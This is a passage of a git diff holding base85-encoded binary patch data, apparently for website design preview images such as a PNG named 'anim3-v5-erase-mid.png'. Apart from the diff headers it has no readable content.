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 literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v5-erase-mid.png b/website-design/previews/anim3-v5-erase-mid.png new file mode 100644 index 0000000000000000000000000000000000000000..c04a9507c7f165d199f6c89e4ae5f9453a972896 GIT binary patch literal 16887 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 